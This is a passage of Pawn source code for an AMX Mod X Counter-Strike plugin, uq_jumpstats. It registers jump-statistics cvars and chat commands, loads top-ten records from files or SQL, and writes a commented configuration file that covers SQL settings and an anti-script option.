hud_duck = register_cvar("kz_uq_hud_duck", "1");
hud_speed = register_cvar("kz_uq_hud_speed", "2");
kz_uq_lj = register_cvar("kz_uq_lj", "1");
kz_uq_cj = register_cvar("kz_uq_cj", "1");
kz_uq_dcj = register_cvar("kz_uq_dcj", "1");
kz_uq_mcj = register_cvar("kz_uq_mcj", "1");
kz_uq_ladder = register_cvar("kz_uq_ladder", "1");
kz_uq_ldbj = register_cvar("kz_uq_ldbj", "1");
kz_uq_bj = register_cvar("kz_uq_bj", "1");
kz_uq_sbj = register_cvar("kz_uq_sbj", "1");
kz_uq_drbj = register_cvar("kz_uq_drbj", "1");
kz_uq_drsbj = register_cvar("kz_uq_scj", "1");
kz_uq_drcj = register_cvar("kz_uq_drcj", "1");
kz_uq_wj = register_cvar("kz_uq_wj", "1");
kz_uq_dscj = register_cvar("kz_uq_dscj", "1");
kz_uq_mscj = register_cvar("kz_uq_mscj", "1");
kz_uq_dropscj = register_cvar("kz_uq_dropscj", "1");
kz_uq_dropdscj = register_cvar("kz_uq_dropdscj", "1");
kz_uq_dropmscj = register_cvar("kz_uq_dropmscj", "1");
kz_uq_duckbhop = register_cvar("kz_uq_duckbhop", "1");
kz_uq_bhopinduck = register_cvar("kz_uq_bhopinduck", "1");
kz_uq_realldbhop = register_cvar("kz_uq_realldbhop", "1");
kz_uq_upbj = register_cvar("kz_uq_upbj", "1");
kz_uq_upbhopinduck = register_cvar("kz_uq_upbhopinduck", "1");
kz_uq_upsbj = register_cvar("kz_uq_upsbj", "1");
kz_uq_multibhop = register_cvar("kz_uq_multibhop", "1");
kz_uq_dropdcj = register_cvar("kz_uq_dropdcj", "1");
kz_uq_dropmcj = register_cvar("kz_uq_dropmcj", "1");
kz_uq_light = register_cvar("kz_uq_light", "0");
kz_uq_connect = register_cvar("kz_uq_connect", "abdehklmn");
kz_uq_fps = register_cvar("kz_uq_fps", "1");
kz_uq_top = register_cvar("kz_uq_save_top", "1");
kz_uq_maptop = register_cvar("kz_uq_maptop", "1");
kz_uq_team = register_cvar("kz_uq_team", "0");
kz_uq_istrafe = register_cvar("kz_uq_istrafes", "0");
max_edge = register_cvar("kz_uq_max_block", "290");
min_edge = register_cvar("kz_uq_min_block", "100");
min_pre = register_cvar("kz_uq_min_pre", "60");
kz_uq_min_other = register_cvar("kz_uq_min_dist_other", "120");
kz_uq_extras = register_cvar("kz_uq_save_extras_top", "1");
max_strafes = register_cvar("kz_uq_max_strafes", "14");
screenshoot = register_cvar("kz_uq_screenshoot", "0");
sql_stats = register_cvar("kz_uq_sql", "0");
web_stats = register_cvar("kz_uq_web", "0");
uq_host = register_cvar("kz_uq_host", "127.0.0.1");
uq_user = register_cvar("kz_uq_user", "root");
uq_pass = register_cvar("kz_uq_pass", "");
uq_db = register_cvar("kz_uq_db", "uq_jumpstats");
allow_info = register_cvar("kz_uq_demo_info", "1");
weapon_top = register_cvar("kz_uq_weapons_top", "1");
weapon_block_top = register_cvar("kz_uq_block_weapons", "1");
kz_uq_url = register_cvar("kz_uq_url","http://localhost/uq_jumpstats/index.php?type=lj&from_game=true");
kz_uq_block_top = register_cvar("kz_uq_block_top", "1");
kz_uq_bug=register_cvar("kz_uq_bug_check", "1");
kz_uq_noslow=register_cvar("kz_uq_noslowdown", "0");
kz_uq_admins = register_cvar("kz_uq_only_admins", "0");
kz_uq_script_detection = register_cvar("kz_uq_script_detection", "1");
kz_uq_update_auth = register_cvar("kz_uq_update_auth", "1");
kz_uq_script_notify = register_cvar("kz_uq_script_notify", "1");
kz_uq_script_punishment = register_cvar("kz_uq_script_punishment", "0");
kz_uq_script_work = register_cvar("kz_uq_script_work", "2");
kz_uq_ban_type = register_cvar("kz_uq_ban_type", "0");
kz_uq_ban_authid = register_cvar("kz_uq_ban_authid", "0");
kz_uq_ban_minutes = register_cvar("kz_uq_ban_minutes", "45");
kz_uq_block_chat_show = register_cvar("kz_uq_block_chat_show", "1");
kz_uq_block_chat_min = register_cvar("kz_uq_block_chat_min", "1");
kz_uq_speed_allteam = register_cvar("kz_uq_speed_allteam", "1");
register_cvar( "uq_jumpstats", VERSION, FCVAR_SERVER|FCVAR_SPONLY);
register_concmd("amx_reset_uqtops","reset_tops",ADMIN_CVAR ,"reset all tops");
register_clcmd( "say /strafe", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafes", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafestat", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /strafestats", "streif_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /showpre", "show_pre" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /duck", "pre_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /ducks", "pre_stats" , ADMIN_ALL, "- enabled/disables");
register_clcmd( "say /uqstats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /ljstats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /stats", "cmdljStats", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /heigh", "heightshow", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /fall", "heightshow", ADMIN_ALL, "- enabled/disables" );
register_clcmd( "say /uqversion", "cmdVersion", ADMIN_ALL);
register_clcmd( "say uqversion", "cmdVersion", ADMIN_ALL);
register_clcmd("say /uqbeam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /beam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /ljbeam", "cmdljbeam", ADMIN_ALL);
register_clcmd("say /speed", "show_speed", ADMIN_ALL);
register_clcmd("say speed", "show_speed", ADMIN_ALL);
register_clcmd("say /colorchat", "cmdColorChat", ADMIN_ALL);
register_clcmd("say colorchat", "cmdColorChat", ADMIN_ALL);
register_clcmd("say /bhopwarn", "show_early", ADMIN_ALL);
register_clcmd("say /multibhop", "multi_bhop", ADMIN_ALL);
register_clcmd("say /duckspre", "duck_show", ADMIN_ALL);
register_clcmd("say /duckpre", "duck_show", ADMIN_ALL);
register_clcmd("say /ljpre", "lj_show", ADMIN_ALL);
register_clcmd("say /prelj", "lj_show", ADMIN_ALL);
register_clcmd("say /uqsound", "enable_sounds", ADMIN_ALL);
register_clcmd("say /uqsounds", "enable_sounds", ADMIN_ALL);
register_clcmd("say /failedge", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /failedg", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edgefail", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edgfail", "ShowedgeFail", ADMIN_ALL);
register_clcmd("say /edge", "Showedge", ADMIN_ALL);
register_clcmd("say /edg", "Showedge", ADMIN_ALL);
register_clcmd("say /joftrainer", "trainer_jof", ADMIN_ALL);
register_clcmd("say joftrainer", "trainer_jof", ADMIN_ALL);
register_clcmd("say /joftr", "trainer_jof", ADMIN_ALL);
register_clcmd("say joftr", "trainer_jof", ADMIN_ALL);
register_clcmd("say /speedt", "speed_type", ADMIN_ALL);
register_clcmd("say speedt", "speed_type", ADMIN_ALL);
register_clcmd("say /jof", "show_jof", ADMIN_ALL);
register_clcmd("say jof", "show_jof", ADMIN_ALL);
register_clcmd("say /jheigh", "show_jheight", ADMIN_ALL);
register_clcmd("say jheigh", "show_jheight", ADMIN_ALL);
register_clcmd("say /istrafe", "ingame_st_stats", ADMIN_ALL);
register_clcmd("say istrafe", "ingame_st_stats", ADMIN_ALL);
register_clcmd("say /options", "Option", ADMIN_ALL);
register_clcmd("say /ljsmenu", "Option", ADMIN_ALL);
register_clcmd("say /ljsmenu2", "Option2", ADMIN_ALL);
register_clcmd("say /uqmenu", "Option", ADMIN_ALL);
register_clcmd("say /option", "Option", ADMIN_ALL);
register_menucmd(register_menuid("StatsOptionMenu1"), 1023, "OptionMenu1");
register_menucmd(register_menuid("StatsOptionMenu2"), 1023, "OptionMenu2");
register_menucmd(register_menuid("StatsOptionMenu3"), 1023, "OptionMenu3");
edgefriction = get_cvar_pointer("edgefriction");
mp_footsteps = get_cvar_pointer("mp_footsteps");
sv_cheats = get_cvar_pointer("sv_cheats");
sv_gravity = get_cvar_pointer("sv_gravity");
sv_airaccelerate = get_cvar_pointer("sv_airaccelerate");
sv_maxspeed = get_cvar_pointer("sv_maxspeed");
sv_stepsize = get_cvar_pointer("sv_stepsize");
sv_maxvelocity = get_cvar_pointer("sv_maxvelocity");
register_forward(FM_Touch, "fwdTouch", 1);
register_forward( FM_PlayerPreThink, "fwdPreThink", 0 );
register_forward( FM_PlayerPostThink, "fwdPostThink", 0 );
RegisterHam(Ham_Spawn, "player", "FwdPlayerSpawn", 1);
RegisterHam(Ham_Killed, "player", "FwdPlayerDeath", 1);
RegisterHam(Ham_Touch, "player", "HamTouch");
register_event("ResetHUD","ResetHUD","b");
max_players=get_maxplayers()+1;
ent=find_ent_by_class(-1,"func_ladder");
while( ent > 0 )
{
entity_get_vector ( ent, EV_VEC_maxs, ladderxyz[nLadder] );
entity_get_vector ( ent, EV_VEC_mins, ladderminxyz[nLadder] );
entity_get_vector ( ent, EV_VEC_size, laddersize[nLadder] );
entlist[nLadder]=ent;
ent = find_ent_by_class(ent,"func_ladder");
nLadder++;
}
get_mapname(mapname, 32);
// Logs
new logs[64];
get_localinfo("amxx_logs", logs, 63);
formatex(logs_path, 127, "%s\uq_jumpstats.txt", logs);
}
public plugin_natives()
{
register_native("kz_get_configsdir", "native_kz_get_configsdir", 1);
}
public plugin_cfg()
{
new cvarfiles[100], uqpath[64];
kz_get_configsdir(uqpath, 63);
formatex(cvarfiles, 99, "%s/%s", uqpath, KZ_CVARSDIR);
if( file_exists(cvarfiles) )
{
server_cmd("exec %s", cvarfiles);
server_exec();
}
uq_min_pre=get_pcvar_num(min_pre);
uq_maxedge=get_pcvar_num(max_edge);
uq_minedge=get_pcvar_num(min_edge);
kz_sql=get_pcvar_num(sql_stats);
web_sql=get_pcvar_num(web_stats);
rankby = get_pcvar_num(kz_top_rank_by);
uq_team=get_pcvar_num(kz_uq_team);
uq_istrafe=get_pcvar_num(kz_uq_istrafe);
NSTRAFES1=get_pcvar_num(max_strafes);
stats_x=get_pcvar_float(kz_stats_x);
stats_y=get_pcvar_float(kz_stats_y);
strafe_x=get_pcvar_float(kz_strafe_x);
strafe_y=get_pcvar_float(kz_strafe_y);
duck_x=get_pcvar_float(kz_duck_x);
duck_y=get_pcvar_float(kz_duck_y);
prest_r=get_pcvar_num(kz_prest_r);
prest_g=get_pcvar_num(kz_prest_g);
prest_b=get_pcvar_num(kz_prest_b);
prest_x=get_pcvar_float(kz_prest_x);
prest_y=get_pcvar_float(kz_prest_y);
h_prest=get_pcvar_num(hud_pre);
h_stats=get_pcvar_num(hud_stats);
h_duck=get_pcvar_num(hud_duck);
h_streif=get_pcvar_num(hud_streif);
stats_r=get_pcvar_num(kz_stats_red);
stats_b=get_pcvar_num(kz_stats_blue);
stats_g=get_pcvar_num(kz_stats_green);
f_stats_r=get_pcvar_num(kz_failstats_red);
f_stats_b=get_pcvar_num(kz_failstats_blue);
f_stats_g=get_pcvar_num(kz_failstats_green);
uq_lj=get_pcvar_num(kz_uq_lj);
uq_cj=get_pcvar_num(kz_uq_cj);
uq_dcj=get_pcvar_num(kz_uq_dcj);
uq_mcj=get_pcvar_num(kz_uq_mcj);
uq_ladder=get_pcvar_num(kz_uq_ladder);
uq_ldbj=get_pcvar_num(kz_uq_ldbj);
uq_bj=get_pcvar_num(kz_uq_bj);
uq_sbj=get_pcvar_num(kz_uq_sbj);
uq_drbj=get_pcvar_num(kz_uq_drbj);
uq_drsbj=get_pcvar_num(kz_uq_drsbj);
uq_drcj=get_pcvar_num(kz_uq_drcj);
uq_wj=get_pcvar_num(kz_uq_wj);
uq_dscj=get_pcvar_num(kz_uq_dscj);
uq_mscj=get_pcvar_num(kz_uq_mscj);
uq_dropscj=get_pcvar_num(kz_uq_dropscj);
uq_dropdscj=get_pcvar_num(kz_uq_dropdscj);
uq_dropmscj=get_pcvar_num(kz_uq_dropmscj);
uq_duckbhop=get_pcvar_num(kz_uq_duckbhop);
uq_bhopinduck=get_pcvar_num(kz_uq_bhopinduck);
uq_realldbhop=get_pcvar_num(kz_uq_realldbhop);
uq_upbj=get_pcvar_num(kz_uq_upbj);
uq_upbhopinduck=get_pcvar_num(kz_uq_upbhopinduck);
uq_upsbj=get_pcvar_num(kz_uq_upsbj);
uq_multibhop=get_pcvar_num(kz_uq_multibhop);
uq_dropdcj=get_pcvar_num(kz_uq_dropdcj);
uq_dropmcj=get_pcvar_num(kz_uq_dropmcj);
dcj_god_dist=get_pcvar_num(kz_god_dcj);
dcj_leet_dist=get_pcvar_num(kz_leet_dcj);
dcj_holy_dist=get_pcvar_num(kz_holy_dcj);
dcj_pro_dist=get_pcvar_num(kz_pro_dcj);
dcj_good_dist=get_pcvar_num(kz_good_dcj);
lj_god_dist=get_pcvar_num(kz_god_lj);
lj_leet_dist=get_pcvar_num(kz_leet_lj);
lj_holy_dist=get_pcvar_num(kz_holy_lj);
lj_pro_dist=get_pcvar_num(kz_pro_lj);
lj_good_dist=get_pcvar_num(kz_good_lj);
ladder_god_dist=get_pcvar_num(kz_god_ladder);
ladder_leet_dist=get_pcvar_num(kz_leet_ladder);
ladder_holy_dist=get_pcvar_num(kz_holy_ladder);
ladder_pro_dist=get_pcvar_num(kz_pro_ladder);
ladder_good_dist=get_pcvar_num(kz_good_ladder);
wj_god_dist=get_pcvar_num(kz_god_wj);
wj_leet_dist=get_pcvar_num(kz_leet_wj);
wj_holy_dist=get_pcvar_num(kz_holy_wj);
wj_pro_dist=get_pcvar_num(kz_pro_wj);
wj_good_dist=get_pcvar_num(kz_good_wj);
bj_god_dist=get_pcvar_num(kz_god_bj);
bj_leet_dist=get_pcvar_num(kz_leet_bj);
bj_holy_dist=get_pcvar_num(kz_holy_bj);
bj_pro_dist=get_pcvar_num(kz_pro_bj);
bj_good_dist=get_pcvar_num(kz_good_bj);
cj_god_dist=get_pcvar_num(kz_god_cj);
cj_leet_dist=get_pcvar_num(kz_leet_cj);
cj_holy_dist=get_pcvar_num(kz_holy_cj);
cj_pro_dist=get_pcvar_num(kz_pro_cj);
cj_good_dist=get_pcvar_num(kz_good_cj);
dbj_god_dist=get_pcvar_num(kz_god_dbj);
dbj_leet_dist=get_pcvar_num(kz_leet_dbj);
dbj_holy_dist=get_pcvar_num(kz_holy_dbj);
dbj_pro_dist=get_pcvar_num(kz_pro_dbj);
dbj_good_dist=get_pcvar_num(kz_good_dbj);
scj_god_dist=get_pcvar_num(kz_god_scj);
scj_leet_dist=get_pcvar_num(kz_leet_scj);
scj_holy_dist=get_pcvar_num(kz_holy_scj);
scj_pro_dist=get_pcvar_num(kz_pro_scj);
scj_good_dist=get_pcvar_num(kz_good_scj);
dropscj_god_dist=get_pcvar_num(kz_god_dropscj);
dropscj_leet_dist=get_pcvar_num(kz_leet_dropscj);
dropscj_holy_dist=get_pcvar_num(kz_holy_dropscj);
dropscj_pro_dist=get_pcvar_num(kz_pro_dropscj);
dropscj_good_dist=get_pcvar_num(kz_good_dropscj);
bhopinduck_god_dist=get_pcvar_num(kz_god_bhopinduck);
bhopinduck_leet_dist=get_pcvar_num(kz_leet_bhopinduck);
bhopinduck_holy_dist=get_pcvar_num(kz_holy_bhopinduck);
bhopinduck_pro_dist=get_pcvar_num(kz_pro_bhopinduck);
bhopinduck_good_dist=get_pcvar_num(kz_good_bhopinduck);
upbj_god_dist=get_pcvar_num(kz_god_upbj);
upbj_leet_dist=get_pcvar_num(kz_leet_upbj);
upbj_holy_dist=get_pcvar_num(kz_holy_upbj);
upbj_pro_dist=get_pcvar_num(kz_pro_upbj);
upbj_good_dist=get_pcvar_num(kz_good_upbj);
upsbj_god_dist=get_pcvar_num(kz_god_upsbj);
upsbj_leet_dist=get_pcvar_num(kz_leet_upsbj);
upsbj_holy_dist=get_pcvar_num(kz_holy_upsbj);
upsbj_pro_dist=get_pcvar_num(kz_pro_upsbj);
upsbj_good_dist=get_pcvar_num(kz_good_upsbj);
real_god_dist=get_pcvar_num(kz_god_real);
real_leet_dist=get_pcvar_num(kz_leet_real);
real_holy_dist=get_pcvar_num(kz_holy_real);
real_pro_dist=get_pcvar_num(kz_pro_real);
real_good_dist=get_pcvar_num(kz_good_real);
duckbhop_god_dist=get_pcvar_num(kz_god_duckbhop);
duckbhop_leet_dist=get_pcvar_num(kz_leet_duckbhop);
duckbhop_holy_dist=get_pcvar_num(kz_holy_duckbhop);
duckbhop_pro_dist=get_pcvar_num(kz_pro_duckbhop);
duckbhop_good_dist=get_pcvar_num(kz_good_duckbhop);
leg_settings=get_pcvar_num(kz_legal_settings);
uq_airaccel=get_pcvar_num( kz_airaccelerate );
min_distance=get_pcvar_num(kz_min_dcj);
min_distance_other=get_pcvar_num(kz_uq_min_other);
max_distance=get_pcvar_num(MAX_DISTANCE);
uq_sounds=get_pcvar_num(kz_sounds);
uq_light=get_pcvar_num( kz_uq_light);
uq_screen=get_pcvar_num(screenshoot);
uq_info=get_pcvar_num(allow_info);
uq_fps=get_pcvar_num(kz_uq_fps);
speed_r=get_pcvar_num(kz_speed_r);
speed_g=get_pcvar_num(kz_speed_g);
speed_b=get_pcvar_num(kz_speed_b);
speed_x=get_pcvar_float(kz_speed_x);
speed_y=get_pcvar_float(kz_speed_y);
h_speed=get_pcvar_num(hud_speed);
kz_top=get_pcvar_num(kz_uq_top);
kz_extras=get_pcvar_num(kz_uq_extras);
kz_weapon=get_pcvar_num(weapon_top);
kz_block_top=get_pcvar_num(kz_uq_block_top);
kz_map_top=get_pcvar_num(kz_uq_maptop);
kz_wpn_block_top=get_pcvar_num(weapon_block_top);
get_pcvar_string(kz_prefix, prefix, 63);
uq_bug=get_pcvar_num(kz_uq_bug);
uq_noslow=get_pcvar_num(kz_uq_noslow);
uq_admins=get_pcvar_num(kz_uq_admins);
uq_script_detection=get_pcvar_num(kz_uq_script_detection);
uq_update_auth=get_pcvar_num(kz_uq_update_auth);
uq_script_notify=get_pcvar_num(kz_uq_script_notify);
uq_script_punishment=get_pcvar_num(kz_uq_script_punishment);
uq_script_work=get_pcvar_num(kz_uq_script_work);
uq_ban_authid=get_pcvar_num(kz_uq_ban_authid);
uq_ban_type=get_pcvar_num(kz_uq_ban_type);
uq_ban_minutes=get_pcvar_num(kz_uq_ban_minutes);
uq_block_chat_min=get_pcvar_num(kz_uq_block_chat_min);
uq_block_chat_show=get_pcvar_num(kz_uq_block_chat_show);
uq_speed_allteam=get_pcvar_num(kz_uq_speed_allteam);
//uq_edgefriction=get_pcvar_num(edgefriction);
//uq_mp_footsteps=get_pcvar_num(mp_footsteps);
//uq_sv_cheats=get_pcvar_num(sv_cheats);
//uq_sv_gravity=get_pcvar_num(sv_gravity);
//uq_sv_airaccelerate=get_pcvar_num(sv_airaccelerate);
//uq_sv_maxspeed=get_pcvar_num(sv_maxspeed);
//uq_sv_stepsize=get_pcvar_num(sv_stepsize);
//uq_sv_maxvelocity=get_pcvar_num(sv_maxvelocity);
if(!file_exists(cvarfiles))
{
kz_make_cvarexec(cvarfiles);
}
new plugin_id=find_plugin_byfile("uq_jumpstats_tops.amxx");
new filename[33],plugin_name[33],plugin_author[33],status[33];
if(plugin_id==-1)
{
log_amx("Can't find uq_jumpstats_tops.amxx");
server_print("[uq_jumpstats] Can't find uq_jumpstats_tops.amxx");
}
else
{
get_plugin(plugin_id,filename,32,plugin_name,32,plugin_ver,32,plugin_author,32,status,32);
if(!equali(plugin_ver,VERSION))
{
set_task(5.0,"Wrong_ver");
}
}
if( leg_settings )
{
set_cvar_string("edgefriction", "2");
set_cvar_string("mp_footsteps", "1");
set_cvar_string("sv_cheats", "0");
set_cvar_string("sv_gravity", "800");
if(uq_airaccel==0 || uq_airaccel==10)
set_cvar_string("sv_airaccelerate", "10");
else if(uq_airaccel==1 || uq_airaccel==100)
set_cvar_string("sv_airaccelerate", "100");
else
{
new str[10];
num_to_str(uq_airaccel,str,9);
set_cvar_string("sv_airaccelerate", str);
}
set_cvar_string("sv_maxspeed", "320");
set_cvar_string("sv_stepsize", "18");
set_cvar_string("sv_maxvelocity", "2000");
}
new dataDir[64];
get_datadir(dataDir, 63);
format(ljsDir, 63, "%s/Topljs", dataDir);
if( !dir_exists(ljsDir) )
mkdir(ljsDir);
if(kz_sql==1)
{
set_task(0.2, "stats_sql");
set_task(1.0, "save_info_sql");
JumpPlayers = TrieCreate();
}
else if(kz_sql==0)
{
JData = TrieCreate();
JData_Block = TrieCreate();
format(ljsDir_block, 63, "%s/Topljs/block_tops", dataDir);
if( !dir_exists(ljsDir_block) )
mkdir(ljsDir_block);
for(new i=0;i<NTECHNUM;i++)
{
read_tops(Type_List[i],i);
read_tops_block(Type_List[i],i);
}
for(new j=0;j<8;j++)
{
new mxspd[11];
num_to_str(weapon_maxspeed(j),mxspd,10);
format(ljsDir_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir,mxspd);
format(ljsDir_block_weapon[j], 63, "%s/Top_weapon_speed_%s", ljsDir_block,mxspd);
if( !dir_exists(ljsDir_weapon[j]) )
mkdir(ljsDir_weapon[j]);
if( !dir_exists(ljsDir_block_weapon[j]) )
mkdir(ljsDir_block_weapon[j]);
for(new i=0;i<NWPNTECHNUM;i++)
{
read_tops_weapon(Type_List_weapon[i],i,j);
read_tops_block_weapon(Type_List_weapon[i],i,j);
}
read_tops_block_weapon("hj",9,j);
}
}
}
public Wrong_ver()
{
for(new i=1;i<get_maxplayers();i++)
{
if(is_user_alive(i) && is_user_connected(i))
ColorChat(i, BLUE, "^x04Version^x03 uq_jumpstats.amxx^x01(%s)^x04 different from^x03 uq_jumpstats_tops.amxx^x01(%s)",VERSION,plugin_ver);
}
set_task(5.0,"Wrong_ver");
}
#include <uq_jumpstats_sql.inc>
public plugin_precache()
{
gBeam = precache_model( "sprites/zbeam6.spr" );
precache_sound( "misc/impressive.wav" );
precache_sound( "misc/perfect.wav" );
precache_sound( "misc/mod_godlike.wav" );
precache_sound( "misc/holyshit.wav" );
precache_sound( "misc/mod_wickedsick.wav" );
precache_model( "models/hairt.mdl" );
heystats = precache_model( "sprites/zbeam6.spr" );
}
stock kz_make_cvarexec(const config[])
{
new f = fopen(config, "wt");
new stringscvars[256],s_host[101],s_pass[101],s_user[101],s_db[101];
new s_x[10],s_y[10];
fprintf(f, "// Config of JumpStats by BorJomi^n");
fprintf(f, "// Version %s^n",VERSION);
fprintf(f, "^n");
fprintf(f, "// Players commands^n");
fprintf(f, "^n");
fprintf(f, "// say /strafes - on/off statistics Strafes^n");
fprintf(f, "// say /showpre - on/off display prestrafe^n");
fprintf(f, "// say /ducks - on/off statistics ducks for multi cj^n");
fprintf(f, "// say /ljstats - on/off the main statistics^n");
fprintf(f, "// say /uqversion - show version^n");
fprintf(f, "// say /beam - on/off showing the trajectory of the jump^n");
fprintf(f, "// say /speed - on/off display of speed player^n");
fprintf(f, "// say /colorchat - on/off display of color in the chat messages from other players^n");
fprintf(f, "// say /ljsmenu - open the configuration menu^n");
fprintf(f, "// say /ljtop - open TOP10 menu^n");
fprintf(f, "// say /bhopwarn - on/off show message when you bhop prestrafe is fail^n");
fprintf(f, "// say /multibhop - on/off show multi bhop pre^n");
fprintf(f, "// say /duckspre - on/off display prestrafe after each duck^n");
fprintf(f, "// say /ljpre - on/off display prestrafe for LJ^n");
fprintf(f, "// say /failedge - on/off display jumpoff wehn failed without bolock^n");
fprintf(f, "// say /edge - on/off display jumpoff,block,landing^n");
fprintf(f, "// say /heigh - on/off display heigh^n");
fprintf(f, "// say /mylj - on/off myljtop menu^n");
fprintf(f, "// say /wpnlj - on/off weapon top menu^n");
fprintf(f, "// say /jof - on/off showing Jumpoff when press jump button^n");
fprintf(f, "// say /joftr - on/off Jumpoff trainer^n");
fprintf(f, "// say /blocktop - on/off block tops menu^n");
fprintf(f, "// say /jheigh - on/off showing jump heigh^n");
fprintf(f, "// say /istrafe - on/off InGame strafe stats^n");
fprintf(f, "// say /speedt - Big/Small Speed Type^n");
fprintf(f, "^n");
fprintf(f, "// Admin command^n");
fprintf(f, "^n");
fprintf(f, "// amx_reset_uqtops – reset all tops^n");
fprintf(f, "^n");
fprintf(f, "// Cvars^n");
fprintf(f, "^n");
fprintf(f, "// What should work when players connect to the server:^n");
fprintf(f, "// 0 = none^n");
fprintf(f, "// a = colorchat^n");
fprintf(f, "// b = stats^n");
fprintf(f, "// c = speed^n");
fprintf(f, "// d = showpre^n");
fprintf(f, "// e = strafe stats^n");
fprintf(f, "// f = beam^n");
fprintf(f, "// g = duck stats for mcj^n");
fprintf(f, "// h = shows message when your bhop prestrafe is failed^n");
fprintf(f, "// i = show multibhop pre^n");
fprintf(f, "// j = show prestrafe after duck^n");
fprintf(f, "// k = show lj prestrafe^n");
fprintf(f, "// l = show edge^n");
fprintf(f, "// m = show edge when fail (without block)^n");
fprintf(f, "// n = enable sounds^n");
fprintf(f, "// o = enable InGame strafe stats^n");
get_pcvar_string(kz_uq_connect, stringscvars, 255);
fprintf(f, "kz_uq_connect ^"%s^"^n", stringscvars);
fprintf(f, "^n");
fprintf(f, "// Min distance^n");
fprintf(f, "kz_uq_min_dist %i^n", min_distance);
fprintf(f, "^n");
fprintf(f, "// Min distance (Ups bhop, MultiBhop, Real Ladder Bhop, Ducks Bhop, Ladder Jump)^n");
fprintf(f, "kz_uq_min_dist_other %i^n", min_distance_other);
fprintf(f, "^n");
fprintf(f, "// Max distance^n");
fprintf(f, "kz_uq_max_dist %i^n", max_distance);
fprintf(f, "^n");
fprintf(f, "// Showing info about block in ColorChat messages^n");
fprintf(f, "kz_uq_block_chat_show %i^n", uq_block_chat_show);
fprintf(f, "kz_uq_block_chat_min %i - minimum block to show (block more then 0=good,1=pro,2=holy,3=leet,4=god distance cvars)^n", uq_block_chat_min);
fprintf(f, "^n");
fprintf(f, "// Enable stats for admins only^n");
fprintf(f, "kz_uq_only_admins %i^n", uq_admins);
fprintf(f, "^n");
fprintf(f, "// Enable stats for team (0=all,1=T,2=CT)^n");
fprintf(f, "kz_uq_team %i^n", uq_team);
fprintf(f, "^n");
fprintf(f, "// Enable cmd /speed for all team^n");
fprintf(f, "kz_uq_speed_allteam %i^n", uq_speed_allteam);
fprintf(f, "^n");
fprintf(f, "// Allow highlighting after landing (1 = on, 0 = off; works for holy, leet and god distances)^n");
fprintf(f, "kz_uq_light %i^n", uq_light);
fprintf(f, "^n");
fprintf(f, "// Allow sounds (1 = on, 0 = off)^n");
fprintf(f, "kz_uq_sounds %i^n",uq_sounds);
fprintf(f, "^n");
fprintf(f, "// Allow doing ScreenShot if Player going in Top (not work with kz_uq_sql <1> and for map top)^n");
fprintf(f, "kz_uq_screenshoot %i^n",uq_screen);
fprintf(f, "^n");
fprintf(f, "// Allow showing info about stats when you record demo^n");
fprintf(f, "kz_uq_demo_info %i^n",uq_info);
fprintf(f, "^n");
fprintf(f, "// How work Sql Module (1=SQL module enable, 0=disable)^n");
fprintf(f, "kz_uq_sql %i^n",kz_sql);
fprintf(f, "^n");
fprintf(f, "// Enable/Disable Web Top (1=Enable,0=Disable) - if you want standart tops with sql module, turn of web mod^n");
fprintf(f, "kz_uq_web %i^n",web_sql);
fprintf(f, "^n");
get_pcvar_string(uq_host, s_host, 100);
get_pcvar_string(uq_user, s_user, 100);
get_pcvar_string(uq_pass, s_pass, 100);
get_pcvar_string(uq_db, s_db, 100);
fprintf(f, "// Options for Sql Module^n");
fprintf(f, "kz_uq_host ^"%s^"^n",s_host);
fprintf(f, "kz_uq_user ^"%s^"^n",s_user);
fprintf(f, "kz_uq_pass ^"%s^"^n",s_pass);
fprintf(f, "kz_uq_db ^"%s^"^n",s_db);
fprintf(f, "// This Option used only in Showing Top(sql), change this if you use another url on you web server^n");
get_pcvar_string(kz_uq_url, stringscvars, 255);
fprintf(f, "kz_uq_url ^"%s^"^n",stringscvars);
fprintf(f, "kz_uq_update_auth %i - Update in DB Steam and Ip^n",uq_update_auth);
fprintf(f, "^n");
fprintf(f, "// How to save Top10 (2 = steamid, 1 = Ip, 0 = name)^n");
fprintf(f, "kz_uq_top_by %i^n",rankby);
fprintf(f, "^n");
fprintf(f, "kz_uq_save_top %i - On/Off TOP10 (1 = on, 0 = off)^n",kz_top);
fprintf(f, "kz_uq_maptop %i - On/Off MapTop (1 = on, 0 = off)^n",kz_map_top);
fprintf(f, "kz_uq_save_extras_top %i - On/Off Extra Tops (1 = on, 0 = off)^n",kz_extras);
fprintf(f, "kz_uq_weapons_top %i - On/Off Weapon Tops (1 = on, 0 = off)^n",kz_weapon);
fprintf(f, "kz_uq_block_top %i - On/Off Block Tops (1 = on, 0 = off)^n",kz_block_top);
fprintf(f, "kz_uq_block_weapons %i - On/Off Block Tops for other weapons (1 = on, 0 = off)^n",kz_wpn_block_top);
fprintf(f, "^n");
fprintf(f, "// Allow check to legal settings (1 = on, 0 = off)^n");
fprintf(f, "kz_uq_legal_settings %i^n",leg_settings);
fprintf(f, "kz_uq_fps %i - (1=more than 100 FPS jump does not count, 0=count)^n",uq_fps);
fprintf(f, "kz_uq_bug_check %i - Allow checking for bug distance^n",uq_bug);
fprintf(f, "^n");
fprintf(f, "// Anti script(Beta)^n");
fprintf(f, "kz_uq_script_detection %i^n",uq_script_detection);
fprintf(f, "kz_uq_script_work %i - antiscript works if player distance more then (0=good,1=pro,2=holy,3=leet,4=god distance)^n",uq_script_work);
fprintf(f, "kz_uq_script_notify %i - print messages to all people on server with scripter name^n",uq_script_notify);
fprintf(f, "kz_uq_script_punishment %i - (0=nothing,1=kick,2=ban)^n",uq_script_punishment);
